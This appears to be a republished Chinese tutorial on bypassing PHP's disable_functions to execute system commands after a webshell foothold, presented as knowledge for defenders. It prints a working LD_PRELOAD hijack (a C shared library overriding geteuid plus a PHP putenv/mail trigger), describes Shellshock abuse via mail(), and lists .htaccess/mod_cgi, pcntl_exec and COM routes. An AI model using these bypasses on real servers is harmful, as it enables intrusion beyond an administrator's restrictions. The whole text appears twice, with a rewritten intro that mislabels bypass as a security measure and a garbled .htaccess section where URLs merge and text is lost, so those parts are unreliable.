如何通过绕过PHP禁用函数功能来执行系统命令?

2026-04-02 19:121阅读0评论SEO资源
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计2816个文字,预计阅读时间需要12分钟。

如何通过绕过PHP禁用函数功能来执行系统命令?

一、为什么要启用bypass disable functions来提高安全?

许多运维人员会禁用PHP的一些危险函数,如eval、exec、system等,以增强安全性。这些函数允许执行系统命令或动态执行代码,可能被用于恶意操作。将禁用这些函数的设置写入php.ini配置文件,即我们所说的disable functions,可以防止这些函数被滥用。

二、如何实现?

1. 打开php.ini配置文件。

2.找到disable_functions配置项。

3.在该配置项后添加需要禁用的函数名称,每个函数名称之间用逗号分隔。

4.保存并重新加载php.ini配置文件。

例如,要禁用eval、exec、system函数,可以在php.ini中添加以下内容:

ini

disable_functions=eval,exec,system

这样,PHP在运行时将自动禁用这些函数,从而提高应用程序的安全性。

一、为什么要bypass disable functions

如何通过绕过PHP禁用函数功能来执行系统命令?

为了安全起见,很多运维人员会禁用PHP的一些“危险”函数,例如eval、exec、system等,将其写在php.ini配置文件中,就是我们所说的disable functions了,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable functions的设置中也通常较为严格。

攻与防是对立的,也是互相补充的,既然有对函数的禁用措施,就会有人想方设法的去突破这层限制,我们只有在掌握突破方式以及原理的基础之上,才能更好的去防范这类攻击。

执行系统命令通常是攻击者拿到网站webshell之后想要进一步动作的必然操作,如若不能执行系统命令,接下来的更深入的攻击将很难继续,所以就有了网站管理者禁用类似exec、system之类函数的现象。然而随着技术的不断进步,不断有新的思路出现,单纯的禁用这些函数,某些情况下已经不能阻止攻击者达到执行系统命令的目的了,那么攻击者用什么样的方式突破了disable functions呢?我们又怎样防范这样的攻击呢?

二、 Bash漏洞导致的任意命令执行

GNU Bash 环境变量远程命令执行漏洞(CVE-2014-6271)是GNU Bash 的一个远程代码执行漏洞,在这个CVE的介绍中,可以看到这样的描述:“GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等”。实际上,PHP也可以利用这个漏洞做很多事情,甚至有可能直接在80导致远程命令执行。关于这个漏洞的详细情况可以查阅CVE-2014-6271的相关资料,此处不再赘述。

下面我们来看一下PHP到底什么地方能用到bash的这个漏洞呢?其实可以用的地方不止一处,这里我们以mail函数作为例子,其他地方同理,可以自行分析。

PHP的mail函数提供了3个必选参数和2个可选参数,这里我们主要看最后一个参数,PHP官方手册上对最后一个参数的说明:

“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.
Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning' header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “

简单的说就是这个参数可以通过添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等,官方文档在范例Example #3也有所演示,具体可以参考官方文档: php.net/manual/zh/function.mail.php 。

在mail函数的源代码mail.c中,我们可以找到如下代码片段:

if (extra_cmd != NULL) { spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd); } else { sendmail_cmd = sendmail_path; }

如果传递了第五个参数(extra_cmd),则用spprintf将sendmail_path和extra_cmd拼接到sendmail_cmd中(其中sendmail_path就是php.ini中的sendmail_path配置项),随后将sendmail_cmd丢给popen执行:

#ifdef PHP_WIN32 sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC); #else /* Since popen() doesn't indicate if theinternal fork() doesn't work *(e.g. the shell can't be executed) we explicitly set it to 0 to be *sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd,"w"); #endif

如果系统默认sh是bash,popen会派生bash进程,而我们刚才提到的CVE-2014-6271漏洞,直接就导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制。但是这里其实有一个问题,就是extra_cmd在spprintf之前做了安全检查,我当前的PHP版本是最新的7.2.4,代码位置在mail.c的第371-375行:

if (force_extra_parameters) { extra_cmd =php_escape_shell_cmd(force_extra_parameters); } else if (extra_cmd) { extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd)); }

php_escape_shell_cmd函数会对特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)进行转义,那这样是不是就没办法了呢?不是的,我们可以通过putenv函数来设置一个包含自定义函数的环境变量,然后通过mail函数来触发,网上早已有POC。

同样调用popen派生进程的php函数还有imap_mail,或者还可能有其他的我们没有发现的函数,所以如果要防范这类攻击,最好的办法就是从根源上入手,修复CVE-2014-6271这个bash漏洞。

三、LD_PRELOAD:无需bash漏洞

上文说到mail函数利用bash破壳漏洞可以实现突破disable functions的限制执行系统命令,但是像这样的漏洞,一般安全意识稍好一点的运维人员,都会打上补丁了,那么是不是打上补丁之后就一定安全了呢?显然答案是否定的,LD_PRELOAD是Linux系统的下一个有趣的环境变量:

它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,我们只要知道这一件事就足够了,这说明什么?这说明我们几乎可以劫持PHP的大部分函数,还拿上文的mail函数作为例子,上文说过,php的mail函数实际上是调用了系统的sendmail命令,那么我们来看一下sendmail都调用了哪些库函数:

使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数,我们从中随便选取一个库函数geteuid进行测试。

首先我们编写一个自己的动态链接程序,hack.c:

#include<stdlib.h> #include <stdio.h> #include<string.h> void payload() { system("touch/var/www/html/test"); } int geteuid() { if(getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。这里实际应用时应该注意编译平台和目标尽量相近,以及注意路径问题,避免不必要的麻烦,这里我们仅仅作为测试,不考虑这些问题。

[[email protected]]# gcc -c -fPIC hack.c -o hack [[email protected]]# gcc -shared hack -o hack.so

我们把hack.so放到WEB目录,然后编写一个PHP文件进行测试:

<?php putenv("LD_PRELOAD=/var/www/html/hack.so"); mail("[email protected]","","","",""); ?>

我们的/var/www/html/目录下本来只有hack.so和index.php这两个文件,当我们在浏览器中访问index.php页面之后,可以看到目录下又多出了一个test文件,说明我们的系统命令执行成功。

(PS:笔者实际测试时的环境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的环境,测试时遇到一个问题,就是每次刷新访问index.php时,虚拟机的VM进程会疯狂的读写硬盘,几乎独占磁盘的所有活动时间(机械硬盘),导致虚拟机卡顿到连鼠标都无法移动,物理机也因此受到影响明显卡顿,约半小时左右这种情况会突然消失,最终测试结果成功。不知道是什么原因引起这种现象,需要进一步研究,但不在本文讨论范围之内。)

这种绕过行为实施起来很简单,并且目前为止还不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。

其实对于这个问题,早在2008年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: bugs.php.net/bug.php?id=46741 ,所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。

四、.htaccess:不止重定向

大家对.htaccess文件一定不陌生,没错,在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

关于mode_cgi,可以参考apache的官方说明: man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。

“任何具有mime类型application/x-www.365mini.com/page/apache-options-directive.htm ,当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本。除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddTypeapplication/x-wooyun.jozxing.cc/static/drops/papers-15589.html 。

pcntl_exec

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

COM 组件

Windows环境下,当php.ini的设置项com.allow_dcom =true时,可以通过COM组件执行系统命令,甚至开启安全模式也可以,相关资料参考: www.exploit-db.com/exploits/4553/ 。

win32std

win32std是一个很老的PHP扩展,其中的win_shell_execute函数可以用来执行Windows系统命令: www.exploit-db.com/exploits/4218/ 。

六、总结

对于入侵者来说,拿到一个webshell之后,如果想要进一步获取更高的权限或更多的数据和信息,执行系统命令几乎是必须的。当我们在PHP应用中出现了某些纰漏导致遭到入侵时,如何让损失降到最低就成了首要的问题。从本文已经列举的方法中不难看出只要掌握了这些原理,防范工作是非常简单有效的,只要经常关注安全动态,是完全可以做到对以上绕过措施进行防御的。

以上所述是小编给大家介绍的PHP通过bypass disable functions执行系统命令的方法汇总,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对易盾网络网站的支持!

本文共计2816个文字,预计阅读时间需要12分钟。

如何通过绕过PHP禁用函数功能来执行系统命令?

一、为什么要启用bypass disable functions来提高安全?

许多运维人员会禁用PHP的一些危险函数,如eval、exec、system等,以增强安全性。这些函数允许执行系统命令或动态执行代码,可能被用于恶意操作。将禁用这些函数的设置写入php.ini配置文件,即我们所说的disable functions,可以防止这些函数被滥用。

二、如何实现?

1. 打开php.ini配置文件。

2.找到disable_functions配置项。

3.在该配置项后添加需要禁用的函数名称,每个函数名称之间用逗号分隔。

4.保存并重新加载php.ini配置文件。

例如,要禁用eval、exec、system函数,可以在php.ini中添加以下内容:

ini

disable_functions=eval,exec,system

这样,PHP在运行时将自动禁用这些函数,从而提高应用程序的安全性。

一、为什么要bypass disable functions

如何通过绕过PHP禁用函数功能来执行系统命令?

为了安全起见,很多运维人员会禁用PHP的一些“危险”函数,例如eval、exec、system等,将其写在php.ini配置文件中,就是我们所说的disable functions了,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable functions的设置中也通常较为严格。

攻与防是对立的,也是互相补充的,既然有对函数的禁用措施,就会有人想方设法的去突破这层限制,我们只有在掌握突破方式以及原理的基础之上,才能更好的去防范这类攻击。

执行系统命令通常是攻击者拿到网站webshell之后想要进一步动作的必然操作,如若不能执行系统命令,接下来的更深入的攻击将很难继续,所以就有了网站管理者禁用类似exec、system之类函数的现象。然而随着技术的不断进步,不断有新的思路出现,单纯的禁用这些函数,某些情况下已经不能阻止攻击者达到执行系统命令的目的了,那么攻击者用什么样的方式突破了disable functions呢?我们又怎样防范这样的攻击呢?

二、 Bash漏洞导致的任意命令执行

GNU Bash 环境变量远程命令执行漏洞(CVE-2014-6271)是GNU Bash 的一个远程代码执行漏洞,在这个CVE的介绍中,可以看到这样的描述:“GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等”。实际上,PHP也可以利用这个漏洞做很多事情,甚至有可能直接在80导致远程命令执行。关于这个漏洞的详细情况可以查阅CVE-2014-6271的相关资料,此处不再赘述。

下面我们来看一下PHP到底什么地方能用到bash的这个漏洞呢?其实可以用的地方不止一处,这里我们以mail函数作为例子,其他地方同理,可以自行分析。

PHP的mail函数提供了3个必选参数和2个可选参数,这里我们主要看最后一个参数,PHP官方手册上对最后一个参数的说明:

“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.
Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning' header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “

简单的说就是这个参数可以通过添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等,官方文档在范例Example #3也有所演示,具体可以参考官方文档: php.net/manual/zh/function.mail.php 。

在mail函数的源代码mail.c中,我们可以找到如下代码片段:

if (extra_cmd != NULL) { spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd); } else { sendmail_cmd = sendmail_path; }

如果传递了第五个参数(extra_cmd),则用spprintf将sendmail_path和extra_cmd拼接到sendmail_cmd中(其中sendmail_path就是php.ini中的sendmail_path配置项),随后将sendmail_cmd丢给popen执行:

#ifdef PHP_WIN32 sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC); #else /* Since popen() doesn't indicate if theinternal fork() doesn't work *(e.g. the shell can't be executed) we explicitly set it to 0 to be *sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd,"w"); #endif

如果系统默认sh是bash,popen会派生bash进程,而我们刚才提到的CVE-2014-6271漏洞,直接就导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制。但是这里其实有一个问题,就是extra_cmd在spprintf之前做了安全检查,我当前的PHP版本是最新的7.2.4,代码位置在mail.c的第371-375行:

if (force_extra_parameters) { extra_cmd =php_escape_shell_cmd(force_extra_parameters); } else if (extra_cmd) { extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd)); }

php_escape_shell_cmd函数会对特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)进行转义,那这样是不是就没办法了呢?不是的,我们可以通过putenv函数来设置一个包含自定义函数的环境变量,然后通过mail函数来触发,网上早已有POC。

同样调用popen派生进程的php函数还有imap_mail,或者还可能有其他的我们没有发现的函数,所以如果要防范这类攻击,最好的办法就是从根源上入手,修复CVE-2014-6271这个bash漏洞。

三、LD_PRELOAD:无需bash漏洞

上文说到mail函数利用bash破壳漏洞可以实现突破disable functions的限制执行系统命令,但是像这样的漏洞,一般安全意识稍好一点的运维人员,都会打上补丁了,那么是不是打上补丁之后就一定安全了呢?显然答案是否定的,LD_PRELOAD是Linux系统的下一个有趣的环境变量:

它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,我们只要知道这一件事就足够了,这说明什么?这说明我们几乎可以劫持PHP的大部分函数,还拿上文的mail函数作为例子,上文说过,php的mail函数实际上是调用了系统的sendmail命令,那么我们来看一下sendmail都调用了哪些库函数:

使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数,我们从中随便选取一个库函数geteuid进行测试。

首先我们编写一个自己的动态链接程序,hack.c:

#include<stdlib.h> #include <stdio.h> #include<string.h> void payload() { system("touch/var/www/html/test"); } int geteuid() { if(getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。这里实际应用时应该注意编译平台和目标尽量相近,以及注意路径问题,避免不必要的麻烦,这里我们仅仅作为测试,不考虑这些问题。

[[email protected]]# gcc -c -fPIC hack.c -o hack [[email protected]]# gcc -shared hack -o hack.so

我们把hack.so放到WEB目录,然后编写一个PHP文件进行测试:

<?php putenv("LD_PRELOAD=/var/www/html/hack.so"); mail("[email protected]","","","",""); ?>

我们的/var/www/html/目录下本来只有hack.so和index.php这两个文件,当我们在浏览器中访问index.php页面之后,可以看到目录下又多出了一个test文件,说明我们的系统命令执行成功。

(PS:笔者实际测试时的环境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的环境,测试时遇到一个问题,就是每次刷新访问index.php时,虚拟机的VM进程会疯狂的读写硬盘,几乎独占磁盘的所有活动时间(机械硬盘),导致虚拟机卡顿到连鼠标都无法移动,物理机也因此受到影响明显卡顿,约半小时左右这种情况会突然消失,最终测试结果成功。不知道是什么原因引起这种现象,需要进一步研究,但不在本文讨论范围之内。)

这种绕过行为实施起来很简单,并且目前为止还不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。

其实对于这个问题,早在2008年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: bugs.php.net/bug.php?id=46741 ,所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。

四、.htaccess:不止重定向

大家对.htaccess文件一定不陌生,没错,在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

关于mode_cgi,可以参考apache的官方说明: man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。

“任何具有mime类型application/x-www.365mini.com/page/apache-options-directive.htm ,当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本。除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddTypeapplication/x-wooyun.jozxing.cc/static/drops/papers-15589.html 。

pcntl_exec

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

COM 组件

Windows环境下,当php.ini的设置项com.allow_dcom =true时,可以通过COM组件执行系统命令,甚至开启安全模式也可以,相关资料参考: www.exploit-db.com/exploits/4553/ 。

win32std

win32std是一个很老的PHP扩展,其中的win_shell_execute函数可以用来执行Windows系统命令: www.exploit-db.com/exploits/4218/ 。

六、总结

对于入侵者来说,拿到一个webshell之后,如果想要进一步获取更高的权限或更多的数据和信息,执行系统命令几乎是必须的。当我们在PHP应用中出现了某些纰漏导致遭到入侵时,如何让损失降到最低就成了首要的问题。从本文已经列举的方法中不难看出只要掌握了这些原理,防范工作是非常简单有效的,只要经常关注安全动态,是完全可以做到对以上绕过措施进行防御的。

以上所述是小编给大家介绍的PHP通过bypass disable functions执行系统命令的方法汇总,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对易盾网络网站的支持!